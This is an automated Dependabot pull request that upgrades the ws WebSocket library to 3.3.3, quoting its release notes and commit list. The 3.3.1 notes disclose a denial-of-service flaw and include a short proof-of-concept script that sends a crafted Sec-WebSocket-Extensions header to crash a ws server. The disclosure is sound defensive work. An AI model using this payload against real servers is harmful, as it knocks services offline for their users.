Bump ws from 3.1.0 to 3.3.3

[dependabot]

Bumps ws from 3.1.0 to 3.3.3.

Release notes

Sourced from ws's releases.

3.3.3

Bug fixes

• net.Socket errors are no longer swallowed (beff620).
• The status code and close reason are now always taken from the close frame if
  received (beff620).

3.3.2

Bug fixes

• The parser of the Sec-WebSocket-Extensions header has been rewritten to make
  it spec-compliant (#1240).

3.3.1

Bug fixes

• Fixed a DoS vulnerability (c4fe466).

A specially crafted value of the Sec-WebSocket-Extensions header that
used Object.prototype property names as extension or parameter names
could be used to make a ws server crash.

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

The vulnerability has been privately reported by Nick Starke and
Ryan Knell of Sonatype Security Research and promptly fixed. Please
update now!

... (truncated)

Commits

• 157f58a [dist] 3.3.3
• 6a6ae04 [minor] Send the close status code only when necessary
• 85919f2 [doc] Remove duplicate 'is' (#1252)
• beff620 [fix] Use status code from close frame if received
• ae903b1 [doc] Fix rendering of history in SECURITY.md (#1250)
• ca76e58 chore(package): update eslint to version 4.13.0 (#1249)
• f6e5685 chore(package): update utf-8-validate to version 4.0.0 (#1247)
• b3bc7db [minor] Do not set allowHalfOpen to false
• a166af4 [test] Skip family test if localhost doesn't resolve to ::1 (#1246)
• 009d05c [test] Mark skipped tests as pending
• Additional commits viewable in compare view

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